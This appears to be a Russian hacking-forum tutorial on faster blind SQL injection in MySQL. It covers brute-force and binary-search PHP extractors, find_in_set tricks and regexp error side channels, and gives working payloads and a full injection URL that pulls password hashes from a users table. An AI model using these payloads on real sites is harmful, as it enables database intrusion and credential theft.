Загрузка...

Быстрый Blind SQL Injection.

Тема в разделе Статьи создана пользователем .EXE 22 июн 2016. 427 просмотров

Загрузка...
  1. .EXE
    .EXE Автор темы 22 июн 2016 Заблокирован(а) 77 12 апр 2016
    [1] INTRO

    Основной проблемой при работе с Blind SQL Injection является огромное количество запросов,
    которое необходимо послать на сервер для получения символов из БД, и, соответственно, долгое время работы.
    Понятно, что вручную получать данные из БД практически нереально, поэтому процесс работы необходимо автоматизировать.
    Я рассмотрю некоторые варианты.


    [2] Полный перебор всех символов (до 512 запросов на md5)

    Самый тупой и тормознутый метод получения символов из БД. Обычно реализуется новичками в своих первых эксплоитах. Код выглядит примерно так:
    PHP:
    for($i=1;$i<=32;$i++)
    for($j=1;$j<=255;$j++){
    $res = send($url, "sql.php?id=if(ascii(substring((select+$field+from+users+where+id=0),$i,1))=$j,'1',(select+1+union+select+2))")
    if(!preg_match('/Subquery returns/', $res) {
    echo $j;
    continue;
    }
    }
    Принцип работы прост: Для каждого символа сравниваем значение его ascii кода с кодами заданого нами диапазона, если выполняется некое условие - символ найден. Т.е. для хеша MD5, будет слаться до 16 запросов на символ, т.е. до 512 запросов на весь хеш. Для получения логина необходимо послать ещё больше запросов.
    Плюсов у метода нет вообще, разве что код выполняющий такой перебор пишется очень быстро и легко.


    [3] Бинарный (двоичный) поиск нужного символа. (до 128 запросов на md5)

    - это тот метод, который используется в большинстве адекватных программ, скриптов и сплоитов, для работы со слепыми иньекциями.
    Принцип работы прост:

    1) Берём диапазон всех возможных символов (для md5 - [0-9,a-f]), и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе.
    2) Если код символа в БД больше чем код переданого символа, то на следующем шаге, в качестве диапазона возможных символов берём диапазон от того символа,
    с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона, и идём на шаг 1.
    3) Если код символа меньше, то берём диапазон от текущего символа до левой границы диапазона на предыдущем шаге, и идём на шаг 1.
    4) Если символ не больше и не меньше, то мы как раз его и нашли.

    Например мы получаем хеш md5:

    Диапазон символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
    Допустим в БД лежит символ 'b'

    Запускаем процесс:
    1) Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f], серединой является символ '8'.
    2) Сравниваем, код символа 'b' больше или меньше, чем код символа '8'? (шлём запрос)
    3) Код больше, поэтому на следующую итерацию уже берём диапазон [8,9,a,b,c,d,e,f], серединой является символ 'с'.
    4) Сравниваем, код символа 'b' больше или меньше, чем код символа 'с'? (шлём запрос)
    5) Код меньше, поэтому на следующую итерацию берём диапазон [8,9,a,b,c], серединой является символ 'a'.
    6) Сравниваем, код символа 'b' больше, чем код символа 'a'? (шлём запрос)
    7) Код больше, поэтому на следующую итерацию берём диапазон [a,b,c], серединой является символ 'b'.
    8) Сравниваем, код символа 'b' больше или меньше, чем код символа 'b'? (шлём запрос)
    9) Код ни больше и не меньше, значит символ в БД = 'b'

    Т.е., в зависимости от реализации, мы отправляем до 5-6 запросов, в худшем случае, на определение кода символа.

    Пример реализации:
    PHP:
    function getChar($url, $field, $pos, $lb=0, $ub=255) {
    while(true) {
    $M = floor($lb + ($ub-$lb)/2);
    if(cond($url, $field, '<', $pos, $M)==1) {
    $ub = $M - 1;
    }
    else if(cond($url, $field, '>', $pos, $M)==1) {
    $lb = $M + 1;
    }
    else
    return chr($M);
    if($lb > $ub)
    return -1;
    }
    }
    + метод универсален, и даёт неплохую скорость поиска.
    - можно искать быстрее


    [4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)

    Функция find_in_set(str,strlist), используется для поиска подстроки среди списка строк, разделённых символом ',',
    возвращает номер той строки из списка, которая равна переданному аргументу. Т.е.:
    Code:
    mysql> SELECT FIND_IN_SET('b','a,b,c,d');
    -> 2
    Т.е. мы можем узнавать код символа таким образом:
    Code:
    select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
    и получим номер символа в множестве. К примеру, для символа 'b', этот запрос вернёт 12.

    В слепых скулях можно использовать так:
    Code:
    news.php?id=find_in_set(substring((select password from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')
    И в зависимости от кода символа мы будем видеть новость с id, соответствующим символу пароля.

    На практике, для использования нужно:
    1) Выделить ключевые слова на страницах с нужными id
    2) Отправить запросы с find_in_set для каждого символа из БД
    3) Выяснить страницу с каким id мы получили и вывести на экран код символа.

    Код прикреплю во вложении, т.к. главной сложностью является выявление ключей на странице, что не имеет прямого отношения к статье, суть расписана и так.

    Вместо find_in_set(), можно использовать подобные функции: LOCATE(),INSTR(),ASCII(),ORD(), причём ASCII()/ORD() предпочтительее,
    т.к. присутствуют не только в MySQL. (А при помощи сложения и вычитания, получившиеся коды можно подогнать под любые ID)

    + высокая скорость работы (в идеальном случае)
    + не требует вывода ошибок
    - на сайте id могут быть распределены неравномерно, т.е. скрипт приходится затачивать под каждый сайт индивидуально
    - для большого количества символов в алфавите, нужно большое количество уникальных страниц в зависимости от id, которые не всегда присутствуют, иначе приходится слать больше чем 1 запрос на символ (если не понятно, см. следующий метод)


    [5] Использование find_in_set() + more1row (~42 запроса на md5)

    Если внимательно разобраться с методом описаным выше, можно понять, что все его минусы сводятся к тому, что не на всех сайтах, мы можем получить достаточное количество различных выводимых страниц, в зависимости от одного параметра.

    Попробуем разобраться с этой проблемой, вспомним о методе more1row, который изначально описал Elekt. Суть метода сводится к тому, чтобы спровоцировать скрипт выводить какую либо ошибку, в зависимости от SQL запроса.

    В данный момент, наиболее часто используется запрос:
    Code:
    SELECT 1 UNION SELECT 2
    (нашёл podkashey), возвращающий ошибку:
    Subquery returns more than 1 row

    Так же, ZaCo, нашёл альтернативный вариант запроса:
    Code:
    "x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/
    Если версия MySql не 5, то этот запрос вернёт ошибку:
    #1139 - Got error 'invalid repetition count(s)' from regexp.

    Немного порывшись в исходниках MySql и погуглив, можно найти, ещё 9 ошибок, которые возвращает неправильный regexp, итого от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет:
    Code:
    SELECT 1
    No error

    select if(1=1,(select 1 union select 2),2)
    #1242 - Subquery returns more than 1 row

    select 1 regexp if(1=1,"x{1,0}",2)
    #1139 - Got error 'invalid repetition count(s)' from regexp

    select 1 regexp if(1=1,"x{1,(",2)
    #1139 - Got error 'braces not balanced' from regexp

    select 1 regexp if(1=1,'[[:]]',2)
    #1139 - Got error 'invalid character class' from regexp

    select 1 regexp if(1=1,'[[',2)
    #1139 - Got error 'brackets ([ ]) not balanced' from regexp

    select 1 regexp if(1=1,'(({1}',2)
    #1139 - Got error 'repetition-operator operand invalid' from regexp

    select 1 regexp if(1=1,'',2)
    #1139 - Got error 'empty (sub)expression' from regexp

    select 1 regexp if(1=1,'(',2)
    #1139 - Got error 'parentheses not balanced' from regexp

    select 1 regexp if(1=1,'[2-1]',2)
    #1139 - Got error 'invalid character range' from regexp

    select 1 regexp if(1=1,'[[.ch.]]',2)
    #1139 - Got error 'invalid collating element' from regexp

    select 1 regexp if(1=1,'\\',2)
    #1139 - Got error 'trailing backslash (\)' from regexp

    Примем это во внимание.
    Теперь вспомним о функции find_in_set: Если символ есть в множестве подстрок, она вернёт номер подстроки, если нет, вернёт 0. А что если передать такой запрос:
    Code:
    select * from users where id=-1 AND "x" regexp concat("x{1,25", if(find_in_set(substring((select passwd from users where id=1),1,1),'a,b,c,d,e,f,1,2,3,4,5,6')>0, (select 1 union select 2), "6}"))
    Если 1й символ пароля находится в множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернёт:
    #1242 - Subquery returns more than 1 row
    ,а если не находится, то:
    #1139 - Got error 'invalid repetition count(s)' from regexp


    Т.е. при каждом запросе, по коду ошибки, мы узнаём, к какой группе принадлежит символ.

    Расставим символы по группам так, чтобы минимизировать количество обращений к серверу.

    На примере md5, мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f], так же мы знаем, что количество групп = 12, т.к.
    всего мы можем задать 12 состояний (11 ошибок + 1, когда ошибки нет). Получаем, к примеру:

    Code:
    [01]: '0','b','c','d','e','f'
    [02]: '1'
    [03]: '2'
    [04]: '3'
    [05]: '4'
    [06]: '5'
    [07]: '6'
    [08]: '7'
    [09]: '8'
    [10]: '9'
    [11]: 'a'

    Расставленно именно так, чтобы минимизировать количество запросов, т.к. на каждом запросе, мы узнаём номер группы в которой находится символ.
    В итоге, если символ находится в группах 01-11, то мы узнаем его значение с одного запроса. Если символ лежит в группе 1, то следующим запросом мы распределяем символы по группам вот так, и сразу узнаём непосредственное значение символа:
    Code:
    [01]: '0'
    [02]: 'b'
    [03]: 'c'
    [04]: 'd'
    [05]: 'e'
    [06]: 'f'

    Алгоритм работы со скулёй выглядит несложно:
    1) оптимально распределить символы алфавита по группам
    2) по возвращённому коду ответа выяснить в какой группе находится символ из бд
    3) если в этой группе только 1 символ, то выводим его на экран, если больше чем 1 символ, то распрделеяем символы из данной группы по состояниям и идём на шаг 1.

    Понятно, что руками писать такие запросы совершенно нереально, к примеру рабочий запрос для алфавита [a-z,A-Z,0-9], и 11 состояний выглядит вот так:
    Code:
    sql.php?id=1+AND+"x"+regexp+concat("x{1,25",+(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k'),('}'),(select+1+union+select+2))),'}x{1,0}')),'}x{1,(')),'}[[:]]')),'}[[')),'}(({1}')),'}(')),'}[2-1]')),'}[[.ch.]]')),'}\\')))+--+1
    Поэтому в приложении можно найти скрипт, который автоматически генерирует запросы с вложеными условиями согласно описаному выше алгоритму, отправляет их и по ответу определяет, стоит ли слать ещё запросы, или символ уже найден.

    + высокая скорость работы
    + универсален, как и more1row
    * Можно искать 1 символ за запрос, если найти ещё 4 ошибки, работающие в динамическом режиме.
    - требует включеный вывод ошибок


    [6] Outro

    Существует довольно много возможностей ускорить процес работы со слепыми SQL иньекциями, главное не зацикливаться на старых заезженных способах.
    Кто знает что нам принесут новые версии известных СУБД.
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
Top